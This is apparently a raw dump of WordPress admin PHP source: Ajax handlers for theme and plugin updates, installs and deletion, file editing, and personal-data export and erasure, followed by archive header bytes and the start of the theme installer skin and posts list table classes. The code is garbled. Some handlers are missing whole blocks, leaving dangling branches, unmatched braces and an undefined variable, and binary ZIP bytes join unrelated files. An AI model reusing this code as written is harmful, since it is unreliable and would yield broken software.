$theme = wp_get_theme( $stylesheet );
	if ( $theme->exists() ) {
		$status['oldVersion'] = $theme->get( 'Version' );
	}

include_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );

$current = get_site_transient( 'update_themes' );
	if ( empty( $current ) ) {
		wp_update_themes();
	}

$skin     = new WP_Ajax_Upgrader_Skin();
	$upgrader = new Theme_Upgrader( $skin );
	$result   = $upgrader->bulk_upgrade( array( $stylesheet ) );

if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
		$status['debug'] = $skin->get_upgrade_messages();
	}

if ( is_wp_error( $skin->result ) ) {
		$status['errorCode']    = $skin->result->get_error_code();
		$status['errorMessage'] = $skin->result->get_error_message();
		wp_send_json_error( $status );
	} elseif ( $skin->get_errors()->get_error_code() ) {
		$status['errorMessage'] = $skin->get_error_messages();
		wp_send_json_error( $status );
	} elseif ( is_array( $result ) && ! empty( $result[ $stylesheet ] ) ) {

// Theme is already at the latest version.
		if ( true === $result[ $stylesheet ] ) {
			$status['errorMessage'] = $upgrader->strings['up_to_date'];
			wp_send_json_error( $status );
		}

$theme = wp_get_theme( $stylesheet );
		if ( $theme->exists() ) {
			$status['newVersion'] = $theme->get( 'Version' );
		}

wp_send_json_success( $status );
	} elseif ( false === $result ) {
		global $wp_filesystem;

$status['errorCode']    = 'unable_to_connect_to_filesystem';
		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );

wp_send_json_error( $status );
	}

// An unhandled error occurred.
	$status['errorMessage'] = __( 'Update failed.' );
	wp_send_json_error( $status );
}

/**
 * Ajax handler for deleting a theme.
 *
 * @since 4.6.0
 *
 * @see delete_theme()
 *
 * @global WP_Filesystem_Base $wp_filesystem Subclass
 */
function wp_ajax_delete_theme() {
	check_ajax_referer( 'updates' );

if ( empty( $_POST['slug'] ) ) {
		wp_send_json_error( array(
			'slug'         => '',
			'errorCode'    => 'no_theme_specified',
			'errorMessage' => __( 'No theme specified.' ),
		) );
	}

$stylesheet = preg_replace( '/[^A-z0-9_\-]/', '', wp_unslash( $_POST['slug'] ) );
	$status     = array(
		'delete' => 'theme',
		'slug'   => $stylesheet,
	);

if ( ! current_user_can( 'delete_themes' ) ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to delete themes on this site.' );
		wp_send_json_error( $status );
	}

if ( ! wp_get_theme( $stylesheet )->exists() ) {
		$status['errorMessage'] = __( 'The requested theme does not exist.' );
		wp_send_json_error( $status );
	}

// Check filesystem credentials. `delete_theme()` will bail otherwise.
	$url = wp_nonce_url( 'themes.php?action=delete&stylesheet=' . urlencode( $stylesheet ), 'delete-theme_' . $stylesheet );
	ob_start();
	$credentials = request_filesystem_credentials( $url );
	ob_end_clean();
	if ( false === $credentials || ! WP_Filesystem( $credentials ) ) {
		global $wp_filesystem;

$status['errorCode']    = 'unable_to_connect_to_filesystem';
		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );

wp_send_json_error( $status );
	}

include_once( ABSPATH . 'wp-admin/includes/theme.php' );

$result = delete_theme( $stylesheet );

if ( is_wp_error( $result ) ) {
		$status['errorMessage'] = $result->get_error_message();
		wp_send_json_error( $status );
	} elseif ( false === $result ) {
		$status['errorMessage'] = __( 'Theme could not be deleted.' );
		wp_send_json_error( $status );
	}

wp_send_json_success( $status );
}

/**
 * Ajax handler for installing a plugin.
 *
 * @since 4.6.0
 *
 * @see Plugin_Upgrader
 *
 * @global WP_Filesystem_Base $wp_filesystem Subclass
 */
function wp_ajax_install_plugin() {
	check_ajax_referer( 'updates' );

if ( empty( $_POST['slug'] ) ) {
		wp_send_json_error( array(
			'slug'         => '',
			'errorCode'    => 'no_plugin_specified',
			'errorMessage' => __( 'No plugin specified.' ),
		) );
	}

$status = array(
		'install' => 'plugin',
		'slug'    => sanitize_key( wp_unslash( $_POST['slug'] ) ),
	);

if ( ! current_user_can( 'install_plugins' ) ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to install plugins on this site.' );
		wp_send_json_error( $status );
	}

include_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );
	include_once( ABSPATH . 'wp-admin/includes/plugin-install.php' );

$api = plugins_api( 'plugin_information', array(
		'slug'   => sanitize_key( wp_unslash( $_POST['slug'] ) ),
		'fields' => array(
			'sections' => false,
		),
	) );

if ( is_wp_error( $api ) ) {
		$status['errorMessage'] = $api->get_error_message();
		wp_send_json_error( $status );
	}

$status['pluginName'] = $api->name;

$skin     = new WP_Ajax_Upgrader_Skin();
	$upgrader = new Plugin_Upgrader( $skin );
	$result   = $upgrader->install( $api->download_link );

if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
		$status['debug'] = $skin->get_upgrade_messages();
	}

$status['errorCode']    = 'unable_to_connect_to_filesystem';
		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );

wp_send_json_error( $status );
	}

$install_status = install_plugin_install_status( $api );
	$pagenow = isset( $_POST['pagenow'] ) ? sanitize_key( $_POST['pagenow'] ) : '';

// If installation request is coming from import page, do not return network activation link.
	$plugins_url = ( 'import' === $pagenow ) ? admin_url( 'plugins.php' ) : network_admin_url( 'plugins.php' );

if ( current_user_can( 'activate_plugin', $install_status['file'] ) && is_plugin_inactive( $install_status['file'] ) ) {
		$status['activateUrl'] = add_query_arg( array(
			'_wpnonce' => wp_create_nonce( 'activate-plugin_' . $install_status['file'] ),
			'action'   => 'activate',
			'plugin'   => $install_status['file'],
		), $plugins_url );
	}

if ( is_multisite() && current_user_can( 'manage_network_plugins' ) && 'import' !== $pagenow ) {
		$status['activateUrl'] = add_query_arg( array( 'networkwide' => 1 ), $status['activateUrl'] );
	}

wp_send_json_success( $status );
}

/**
 * Ajax handler for updating a plugin.
 *
 * @since 4.2.0
 *
 * @see Plugin_Upgrader
 *
 * @global WP_Filesystem_Base $wp_filesystem Subclass
 */
function wp_ajax_update_plugin() {
	check_ajax_referer( 'updates' );

if ( empty( $_POST['plugin'] ) || empty( $_POST['slug'] ) ) {
		wp_send_json_error( array(
			'slug'         => '',
			'errorCode'    => 'no_plugin_specified',
			'errorMessage' => __( 'No plugin specified.' ),
		) );
	}

$plugin = plugin_basename( sanitize_text_field( wp_unslash( $_POST['plugin'] ) ) );

$status = array(
		'update'     => 'plugin',
		'slug'       => sanitize_key( wp_unslash( $_POST['slug'] ) ),
		'oldVersion' => '',
		'newVersion' => '',
	);

if ( ! current_user_can( 'update_plugins' ) || 0 !== validate_file( $plugin ) ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to update plugins for this site.' );
		wp_send_json_error( $status );
	}

$plugin_data          = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );
	$status['plugin']     = $plugin;
	$status['pluginName'] = $plugin_data['Name'];

if ( $plugin_data['Version'] ) {
		/* translators: %s: Plugin version */
		$status['oldVersion'] = sprintf( __( 'Version %s' ), $plugin_data['Version'] );
	}

include_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );

wp_update_plugins();

$skin     = new WP_Ajax_Upgrader_Skin();
	$upgrader = new Plugin_Upgrader( $skin );
	$result   = $upgrader->bulk_upgrade( array( $plugin ) );

if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
		$status['debug'] = $skin->get_upgrade_messages();
	}

/*
		 * If the `update_plugins` site transient is empty (e.g. when you update
		 * two plugins in quick succession before the transient repopulates),
		 * this may be the return.
		 *
		 * Preferably something can be done to ensure `update_plugins` isn't empty.
		 * For now, surface some sort of error here.
		 */
		if ( true === $plugin_update_data ) {
			$status['errorMessage'] = __( 'Plugin update failed.' );
			wp_send_json_error( $status );
		}

$plugin_data = get_plugins( '/' . $result[ $plugin ]['destination_name'] );
		$plugin_data = reset( $plugin_data );

if ( $plugin_data['Version'] ) {
			/* translators: %s: Plugin version */
			$status['newVersion'] = sprintf( __( 'Version %s' ), $plugin_data['Version'] );
		}
		wp_send_json_success( $status );
	} elseif ( false === $result ) {
		global $wp_filesystem;

$status['errorCode']    = 'unable_to_connect_to_filesystem';
		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );

wp_send_json_error( $status );
	}

// An unhandled error occurred.
	$status['errorMessage'] = __( 'Plugin update failed.' );
	wp_send_json_error( $status );
}

/**
 * Ajax handler for deleting a plugin.
 *
 * @since 4.6.0
 *
 * @see delete_plugins()
 *
 * @global WP_Filesystem_Base $wp_filesystem Subclass
 */
function wp_ajax_delete_plugin() {
	check_ajax_referer( 'updates' );

if ( empty( $_POST['slug'] ) || empty( $_POST['plugin'] ) ) {
		wp_send_json_error( array(
			'slug'         => '',
			'errorCode'    => 'no_plugin_specified',
			'errorMessage' => __( 'No plugin specified.' ),
		) );
	}

$plugin = plugin_basename( sanitize_text_field( wp_unslash( $_POST['plugin'] ) ) );

$status = array(
		'delete' => 'plugin',
		'slug'   => sanitize_key( wp_unslash( $_POST['slug'] ) ),
	);

if ( ! current_user_can( 'delete_plugins' ) || 0 !== validate_file( $plugin ) ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to delete plugins for this site.' );
		wp_send_json_error( $status );
	}

$plugin_data          = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );
	$status['plugin']     = $plugin;
	$status['pluginName'] = $plugin_data['Name'];

if ( is_plugin_active( $plugin ) ) {
		$status['errorMessage'] = __( 'You cannot delete a plugin while it is active on the main site.' );
		wp_send_json_error( $status );
	}

// Check filesystem credentials. `delete_plugins()` will bail otherwise.
	$url = wp_nonce_url( 'plugins.php?action=delete-selected&verify-delete=1&checked[]=' . $plugin, 'bulk-plugins' );
	ob_start();
	$credentials = request_filesystem_credentials( $url );
	ob_end_clean();
	if ( false === $credentials || ! WP_Filesystem( $credentials ) ) {
		global $wp_filesystem;

$status['errorCode']    = 'unable_to_connect_to_filesystem';
		$status['errorMessage'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );

wp_send_json_error( $status );
	}

$result = delete_plugins( array( $plugin ) );

if ( is_wp_error( $result ) ) {
		$status['errorMessage'] = $result->get_error_message();
		wp_send_json_error( $status );
	} elseif ( false === $result ) {
		$status['errorMessage'] = __( 'Plugin could not be deleted.' );
		wp_send_json_error( $status );
	}

wp_send_json_success( $status );
}

/**
 * Ajax handler for searching plugins.
 *
 * @since 4.6.0
 *
 * @global string $s Search term.
 */
function wp_ajax_search_plugins() {
	check_ajax_referer( 'updates' );

$pagenow = isset( $_POST['pagenow'] ) ? sanitize_key( $_POST['pagenow'] ) : '';
	if ( 'plugins-network' === $pagenow || 'plugins' === $pagenow ) {
		set_current_screen( $pagenow );
	}

/** @var WP_Plugins_List_Table $wp_list_table */
	$wp_list_table = _get_list_table( 'WP_Plugins_List_Table', array(
		'screen' => get_current_screen(),
	) );

$status = array();

if ( ! $wp_list_table->ajax_user_can() ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to manage plugins for this site.' );
		wp_send_json_error( $status );
	}

// Set the correct requester, so pagination works.
	$_SERVER['REQUEST_URI'] = add_query_arg( array_diff_key( $_POST, array(
		'_ajax_nonce' => null,
		'action'      => null,
	) ), network_admin_url( 'plugins.php', 'relative' ) );

$GLOBALS['s'] = wp_unslash( $_POST['s'] );

$wp_list_table->prepare_items();

ob_start();
	$wp_list_table->display();
	$status['count'] = count( $wp_list_table->items );
	$status['items'] = ob_get_clean();

wp_send_json_success( $status );
}

/**
 * Ajax handler for searching plugins to install.
 *
 * @since 4.6.0
 */
function wp_ajax_search_install_plugins() {
	check_ajax_referer( 'updates' );

$pagenow = isset( $_POST['pagenow'] ) ? sanitize_key( $_POST['pagenow'] ) : '';
	if ( 'plugin-install-network' === $pagenow || 'plugin-install' === $pagenow ) {
		set_current_screen( $pagenow );
	}

/** @var WP_Plugin_Install_List_Table $wp_list_table */
	$wp_list_table = _get_list_table( 'WP_Plugin_Install_List_Table', array(
		'screen' => get_current_screen(),
	) );

$status = array();

if ( ! $wp_list_table->ajax_user_can() ) {
		$status['errorMessage'] = __( 'Sorry, you are not allowed to manage plugins for this site.' );
		wp_send_json_error( $status );
	}

$wp_list_table->prepare_items();

ob_start();
	$wp_list_table->display();
	$status['count'] = (int) $wp_list_table->get_pagination_arg( 'total_items' );
	$status['items'] = ob_get_clean();

wp_send_json_success( $status );
}

/**
 * Ajax handler for editing a theme or plugin file.
 *
 * @since 4.9.0
 * @see wp_edit_theme_plugin_file()
 */
function wp_ajax_edit_theme_plugin_file() {
	$r = wp_edit_theme_plugin_file( wp_unslash( $_POST ) ); // Validation of args is done in wp_edit_theme_plugin_file().
	if ( is_wp_error( $r ) ) {
		wp_send_json_error( array_merge(
			array(
				'code' => $r->get_error_code(),
				'message' => $r->get_error_message(),
			),
			(array) $r->get_error_data()
		) );
	} else {
		wp_send_json_success( array(
			'message' => __( 'File edited successfully.' ),
		) );
	}
}

/**
 * Ajax handler for exporting a user's personal data.
 *
 * @since 4.9.6
 */
function wp_ajax_wp_privacy_export_personal_data() {

if ( empty( $_POST['id'] ) ) {
		wp_send_json_error( __( 'Missing request ID.' ) );
	}
	$request_id = (int) $_POST['id'];

if ( $request_id < 1 ) {
		wp_send_json_error( __( 'Invalid request ID.' ) );
	}

if ( ! current_user_can( 'export_others_personal_data' ) ) {
		wp_send_json_error( __( 'Invalid request.' ) );
	}

check_ajax_referer( 'wp-privacy-export-personal-data-' . $request_id, 'security' );

// Get the request data.
	$request = wp_get_user_request_data( $request_id );

if ( ! $request || 'export_personal_data' !== $request->action_name ) {
		wp_send_json_error( __( 'Invalid request type.' ) );
	}

$email_address = $request->email;
	if ( ! is_email( $email_address ) ) {
		wp_send_json_error( __( 'A valid email address must be given.' ) );
	}

if ( ! isset( $_POST['exporter'] ) ) {
		wp_send_json_error( __( 'Missing exporter index.' ) );
	}
	$exporter_index = (int) $_POST['exporter'];

if ( ! isset( $_POST['page'] ) ) {
		wp_send_json_error( __( 'Missing page index.' ) );
	}
	$page = (int) $_POST['page'];

$send_as_email = isset( $_POST['sendAsEmail'] ) ? ( 'true' === $_POST['sendAsEmail'] ) : false;

/**
	 * Filters the array of exporter callbacks.
	 *
	 * @since 4.9.6
	 *
	 * @param array $args {
	 *     An array of callable exporters of personal data. Default empty array.
	 *
	 *     @type array {
	 *         Array of personal data exporters.
	 *
	 *         @type string $callback               Callable exporter function that accepts an
	 *                                              email address and a page and returns an array
	 *                                              of name => value pairs of personal data.
	 *         @type string $exporter_friendly_name Translated user facing friendly name for the
	 *                                              exporter.
	 *     }
	 * }
	 */
	$exporters = apply_filters( 'wp_privacy_personal_data_exporters', array() );

if ( ! is_array( $exporters ) ) {
		wp_send_json_error( __( 'An exporter has improperly used the registration filter.' ) );
	}

// Do we have any registered exporters?
	if ( 0 < count( $exporters ) ) {
		if ( $exporter_index < 1 ) {
			wp_send_json_error( __( 'Exporter index cannot be negative.' ) );
		}

if ( $exporter_index > count( $exporters ) ) {
			wp_send_json_error( __( 'Exporter index out of range.' ) );
		}

if ( $page < 1 ) {
			wp_send_json_error( __( 'Page index cannot be less than one.' ) );
		}

$exporter_keys = array_keys( $exporters );
		$exporter_key  = $exporter_keys[ $exporter_index - 1 ];
		$exporter      = $exporters[ $exporter_key ];

if ( ! is_array( $exporter ) ) {
			wp_send_json_error(
				/* translators: %s: array index */
				sprintf( __( 'Expected an array describing the exporter at index %s.' ), $exporter_key )
			);
		}
		if ( ! array_key_exists( 'exporter_friendly_name', $exporter ) ) {
			wp_send_json_error(
				/* translators: %s: array index */
				sprintf( __( 'Exporter array at index %s does not include a friendly name.' ), $exporter_key )
			);
		}
		if ( ! array_key_exists( 'callback', $exporter ) ) {
			wp_send_json_error(
				/* translators: %s: exporter friendly name */
				sprintf( __( 'Exporter does not include a callback: %s.' ), esc_html( $exporter['exporter_friendly_name'] ) )
			);
		}
		if ( ! is_callable( $exporter['callback'] ) ) {
			wp_send_json_error(
				/* translators: %s: exporter friendly name */
				sprintf( __( 'Exporter callback is not a valid callback: %s.' ), esc_html( $exporter['exporter_friendly_name'] ) )
			);
		}

$callback               = $exporter['callback'];
		$exporter_friendly_name = $exporter['exporter_friendly_name'];

$response = call_user_func( $callback, $email_address, $page );
		if ( is_wp_error( $response ) ) {
			wp_send_json_error( $response );
		}

if ( ! is_array( $response ) ) {
			wp_send_json_error(
				/* translators: %s: exporter friendly name */
				sprintf( __( 'Expected response as an array from exporter: %s.' ), esc_html( $exporter_friendly_name ) )
			);
		}
		if ( ! array_key_exists( 'data', $response ) ) {
			wp_send_json_error(
				/* translators: %s: exporter friendly name */
				sprintf( __( 'Expected data in response array from exporter: %s.' ), esc_html( $exporter_friendly_name ) )
			);
		}
		if ( ! is_array( $response['data'] ) ) {
			wp_send_json_error(
				/* translators: %s: exporter friendly name */
				sprintf( __( 'Expected data array in response array from exporter: %s.' ), esc_html( $exporter_friendly_name ) )
			);
		}
		if ( ! array_key_exists( 'done', $response ) ) {
			wp_send_json_error(
				/* translators: %s: exporter friendly name */
				sprintf( __( 'Expected done (boolean) in response array from exporter: %s.' ), esc_html( $exporter_friendly_name ) )
			);
		}
	} else {
		// No exporters, so we're done.
		$exporter_key = '';

$response = array(
			'data' => array(),
			'done' => true,
		);
	}

/**
	 * Filters a page of personal data exporter data. Used to build the export report.
	 *
	 * Allows the export response to be consumed by destinations in addition to Ajax.
	 *
	 * @since 4.9.6
	 *
	 * @param array  $response        The personal data for the given exporter and page.
	 * @param int    $exporter_index  The index of the exporter that provided this data.
	 * @param string $email_address   The email address associated with this personal data.
	 * @param int    $page            The page for this response.
	 * @param int    $request_id      The privacy request post ID associated with this request.
	 * @param bool   $send_as_email   Whether the final results of the export should be emailed to the user.
	 * @param string $exporter_key    The key (slug) of the exporter that provided this data.
	 */
	$response = apply_filters( 'wp_privacy_personal_data_export_page', $response, $exporter_index, $email_address, $page, $request_id, $send_as_email, $exporter_key );

if ( is_wp_error( $response ) ) {
		wp_send_json_error( $response );
	}

wp_send_json_success( $response );
}

/**
 * Ajax handler for erasing personal data.
 *
 * @since 4.9.6
 */
function wp_ajax_wp_privacy_erase_personal_data() {

if ( empty( $_POST['id'] ) ) {
		wp_send_json_error( __( 'Missing request ID.' ) );
	}

$request_id = (int) $_POST['id'];

if ( $request_id < 1 ) {
		wp_send_json_error( __( 'Invalid request ID.' ) );
	}

// Both capabilities are required to avoid confusion, see `_wp_personal_data_removal_page()`.
	if ( ! current_user_can( 'erase_others_personal_data' ) || ! current_user_can( 'delete_users' ) ) {
		wp_send_json_error( __( 'Invalid request.' ) );
	}

check_ajax_referer( 'wp-privacy-erase-personal-data-' . $request_id, 'security' );

// Get the request data.
	$request = wp_get_user_request_data( $request_id );

if ( ! $request || 'remove_personal_data' !== $request->action_name ) {
		wp_send_json_error( __( 'Invalid request ID.' ) );
	}

$email_address = $request->email;

if ( ! is_email( $email_address ) ) {
		wp_send_json_error( __( 'Invalid email address in request.' ) );
	}

if ( ! isset( $_POST['eraser'] ) ) {
		wp_send_json_error( __( 'Missing eraser index.' ) );
	}

$eraser_index = (int) $_POST['eraser'];

if ( ! isset( $_POST['page'] ) ) {
		wp_send_json_error( __( 'Missing page index.' ) );
	}

$page = (int) $_POST['page'];

/**
	 * Filters the array of personal data eraser callbacks.
	 *
	 * @since 4.9.6
	 *
	 * @param array $args {
	 *     An array of callable erasers of personal data. Default empty array.
	 *
	 *     @type array {
	 *         Array of personal data exporters.
	 *
	 *         @type string $callback               Callable eraser that accepts an email address and
	 *                                              a page and returns an array with boolean values for
	 *                                              whether items were removed or retained and any messages
	 *                                              from the eraser, as well as if additional pages are
	 *                                              available.
	 *         @type string $exporter_friendly_name Translated user facing friendly name for the eraser.
	 *     }
	 * }
	 */
	$erasers = apply_filters( 'wp_privacy_personal_data_erasers', array() );

// Do we have any registered erasers?
	if ( 0 < count( $erasers ) ) {

if ( $eraser_index < 1 ) {
			wp_send_json_error( __( 'Eraser index cannot be less than one.' ) );
		}

if ( $eraser_index > count( $erasers ) ) {
			wp_send_json_error( __( 'Eraser index is out of range.' ) );
		}

if ( $page < 1 ) {
			wp_send_json_error( __( 'Page index cannot be less than one.' ) );
		}

$eraser_keys = array_keys( $erasers );
		$eraser_key  = $eraser_keys[ $eraser_index - 1 ];
		$eraser      = $erasers[ $eraser_key ];

if ( ! is_array( $eraser ) ) {
			/* translators: %d: array index */
			wp_send_json_error( sprintf( __( 'Expected an array describing the eraser at index %d.' ), $eraser_index ) );
		}

if ( ! array_key_exists( 'callback', $eraser ) ) {
			/* translators: %d: array index */
			wp_send_json_error( sprintf( __( 'Eraser array at index %d does not include a callback.' ), $eraser_index ) );
		}

if ( ! is_callable( $eraser['callback'] ) ) {
			/* translators: %d: array index */
			wp_send_json_error( sprintf( __( 'Eraser callback at index %d is not a valid callback.' ), $eraser_index ) );
		}

if ( ! array_key_exists( 'eraser_friendly_name', $eraser ) ) {
			/* translators: %d: array index */
			wp_send_json_error( sprintf( __( 'Eraser array at index %d does not include a friendly name.' ), $eraser_index ) );
		}

$callback             = $eraser['callback'];
		$eraser_friendly_name = $eraser['eraser_friendly_name'];

$response = call_user_func( $callback, $email_address, $page );

if ( is_wp_error( $response ) ) {
			wp_send_json_error( $response );
		}

if ( ! is_array( $response ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: 1: eraser friendly name, 2: array index */
					__( 'Did not receive array from %1$s eraser (index %2$d).' ),
					esc_html( $eraser_friendly_name ),
					$eraser_index
				)
			);
		}

if ( ! array_key_exists( 'items_removed', $response ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: 1: eraser friendly name, 2: array index */
					__( 'Expected items_removed key in response array from %1$s eraser (index %2$d).' ),
					esc_html( $eraser_friendly_name ),
					$eraser_index
				)
			);
		}

if ( ! array_key_exists( 'items_retained', $response ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: 1: eraser friendly name, 2: array index */
					__( 'Expected items_retained key in response array from %1$s eraser (index %2$d).' ),
					esc_html( $eraser_friendly_name ),
					$eraser_index
				)
			);
		}

if ( ! array_key_exists( 'messages', $response ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: 1: eraser friendly name, 2: array index */
					__( 'Expected messages key in response array from %1$s eraser (index %2$d).' ),
					esc_html( $eraser_friendly_name ),
					$eraser_index
				)
			);
		}

if ( ! is_array( $response['messages'] ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: 1: eraser friendly name, 2: array index */
					__( 'Expected messages key to reference an array in response array from %1$s eraser (index %2$d).' ),
					esc_html( $eraser_friendly_name ),
					$eraser_index
				)
			);
		}

if ( ! array_key_exists( 'done', $response ) ) {
			wp_send_json_error(
				sprintf(
					/* translators: 1: eraser friendly name, 2: array index */
					__( 'Expected done flag in response array from %1$s eraser (index %2$d).' ),
					esc_html( $eraser_friendly_name ),
					$eraser_index
				)
			);
		}
	} else {
		// No erasers, so we're done.
		$eraser_key = '';

$response = array(
			'items_removed'  => false,
			'items_retained' => false,
			'messages'       => array(),
			'done'           => true,
		);
	}

/**
	 * Filters a page of personal data eraser data.
	 *
	 * Allows the erasure response to be consumed by destinations in addition to Ajax.
	 *
	 * @since 4.9.6
	 *
	 * @param array  $response        The personal data for the given exporter and page.
	 * @param int    $eraser_index    The index of the eraser that provided this data.
	 * @param string $email_address   The email address associated with this personal data.
	 * @param int    $page            The page for this response.
	 * @param int    $request_id      The privacy request post ID associated with this request.
	 * @param string $eraser_key      The key (slug) of the eraser that provided this data.
	 */
	$response = apply_filters( 'wp_privacy_personal_data_erasure_page', $response, $eraser_index, $email_address, $page, $request_id, $eraser_key );

if ( is_wp_error( $response ) ) {
		wp_send_json_error( $response );
	}

wp_send_json_success( $response );
}
PK�������!�s˃������'��includes/class-theme-installer-skin.phpnu��[�����������<?php
/**
 * Upgrader API: Theme_Installer_Skin class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Theme Installer Skin for the WordPress Theme Installer.
 *
 * @since 2.8.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader-skins.php.
 *
 * @see WP_Upgrader_Skin
 */
class Theme_Installer_Skin extends WP_Upgrader_Skin {
	public $api;
	public $type;

/**
	 *
	 * @param array $args
	 */
	public function __construct($args = array()) {
		$defaults = array( 'type' => 'web', 'url' => '', 'theme' => '', 'nonce' => '', 'title' => '' );
		$args = wp_parse_args($args, $defaults);

$this->type = $args['type'];
		$this->api = isset($args['api']) ? $args['api'] : array();

parent::__construct($args);
	}

/**
	 */
	public function before() {
		if ( !empty($this->api) )
			$this->upgrader->strings['process_success'] = sprintf( $this->upgrader->strings['process_success_specific'], $this->api->name, $this->api->version);
	}

/**
	 */
	public function after() {
		if ( empty($this->upgrader->result['destination_name']) )
			return;

$theme_info = $this->upgrader->theme_info();
		if ( empty( $theme_info ) )
			return;

$name       = $theme_info->display('Name');
		$stylesheet = $this->upgrader->result['destination_name'];
		$template   = $theme_info->get_template();

$activate_link = add_query_arg( array(
			'action'     => 'activate',
			'template'   => urlencode( $template ),
			'stylesheet' => urlencode( $stylesheet ),
		), admin_url('themes.php') );
		$activate_link = wp_nonce_url( $activate_link, 'switch-theme_' . $stylesheet );

$install_actions = array();

if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
			$customize_url = add_query_arg(
				array(
					'theme' => urlencode( $stylesheet ),
					'return' => urlencode( admin_url( 'web' === $this->type ? 'theme-install.php' : 'themes.php' ) ),
				),
				admin_url( 'customize.php' )
			);
			$install_actions['preview'] = '<a href="' . esc_url( $customize_url ) . '" class="hide-if-no-customize load-customize"><span aria-hidden="true">' . __( 'Live Preview' ) . '</span><span class="screen-reader-text">' . sprintf( __( 'Live Preview &#8220;%s&#8221;' ), $name ) . '</span></a>';
		}
		$install_actions['activate'] = '<a href="' . esc_url( $activate_link ) . '" class="activatelink"><span aria-hidden="true">' . __( 'Activate' ) . '</span><span class="screen-reader-text">' . sprintf( __( 'Activate &#8220;%s&#8221;' ), $name ) . '</span></a>';

if ( is_network_admin() && current_user_can( 'manage_network_themes' ) )
			$install_actions['network_enable'] = '<a href="' . esc_url( wp_nonce_url( 'themes.php?action=enable&amp;theme=' . urlencode( $stylesheet ), 'enable-theme_' . $stylesheet ) ) . '" target="_parent">' . __( 'Network Enable' ) . '</a>';

if ( $this->type == 'web' )
			$install_actions['themes_page'] = '<a href="' . self_admin_url( 'theme-install.php' ) . '" target="_parent">' . __( 'Return to Theme Installer' ) . '</a>';
		elseif ( current_user_can( 'switch_themes' ) || current_user_can( 'edit_theme_options' ) )
			$install_actions['themes_page'] = '<a href="' . self_admin_url( 'themes.php' ) . '" target="_parent">' . __( 'Return to Themes page' ) . '</a>';

if ( ! $this->result || is_wp_error($this->result) || is_network_admin() || ! current_user_can( 'switch_themes' ) )
			unset( $install_actions['activate'], $install_actions['preview'] );

/**
		 * Filters the list of action links available following a single theme installation.
		 *
		 * @since 2.8.0
		 *
		 * @param array    $install_actions Array of theme action links.
		 * @param object   $api             Object containing WordPress.org API theme data.
		 * @param string   $stylesheet      Theme directory name.
		 * @param WP_Theme $theme_info      Theme object.
		 */
		$install_actions = apply_filters( 'install_theme_complete_actions', $install_actions, $this->api, $stylesheet, $theme_info );
		if ( ! empty($install_actions) )
			$this->feedback(implode(' | ', (array)$install_actions));
	}
}
PK�������!��O�������&��includes/class-wp-posts-list-table.phpnu��[�����������<?php
/**
 * List Table API: WP_Posts_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying posts in a list table.
 *
 * @since 3.1.0
 * @access private
 *
 * @see WP_List_Table
 */
class WP_Posts_List_Table extends WP_List_Table {

/**
	 * Whether the items should be displayed hierarchically or linearly.
	 *
	 * @since 3.1.0
	 * @var bool
	 */
	protected $hierarchical_display;

/**
	 * Holds the number of pending comments for each post.
	 *
	 * @since 3.1.0
	 * @var array
	 */
	protected $comment_pending_count;

/**
	 * Holds the number of posts for this user.
	 *
	 * @since 3.1.0
	 * @var int
	 */
	private $user_posts_count;

/**
	 * Holds the number of posts which are sticky.
	 *
	 * @since 3.1.0
	 * @var int
	 */
	private $sticky_posts_count = 0;

private $is_trash;

/**
	 * Current level for output.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	protected $current_level = 0;

/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @global WP_Post_Type $post_type_object
	 * @global wpdb         $wpdb
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		global $post_type_object, $wpdb;

parent::__construct( array(
			'plural' => 'posts',
			'screen' => isset( $args['screen'] ) ? $args['screen'] : null,
		) );

$post_type        = $this->screen->post_type;
		$post_type_object = get_post_type_object( $post_type );

$exclude_states   = get_post_stati( array(
			'show_in_admin_all_list' => false,
		) );
		$this->user_posts_count = intval( $wpdb->get_var( $wpdb->prepare( "
			SELECT COUNT( 1 )
			FROM $wpdb->posts
			WHERE post_type = %s
			AND post_status NOT IN ( '" . implode( "','", $exclude_states ) . "' )
			AND post_author = %d
		", $post_type, get_current_user_id() ) ) );

if ( $this->user_posts_count && ! current_user_can( $post_type_object->cap->edit_others_posts ) && empty( $_REQUEST['post_status'] ) && empty( $_REQUEST['all_posts'] ) && empty( $_REQUEST['author'] ) && empty( $_REQUEST['show_sticky'] ) ) {
			$_GET['author'] = get_current_user_id();
		}

if ( 'post' === $post_type && $sticky_posts = get_option( 'sticky_posts' ) ) {
			$sticky_posts = implode( ', ', array_map( 'absint', (array) $sticky_posts ) );
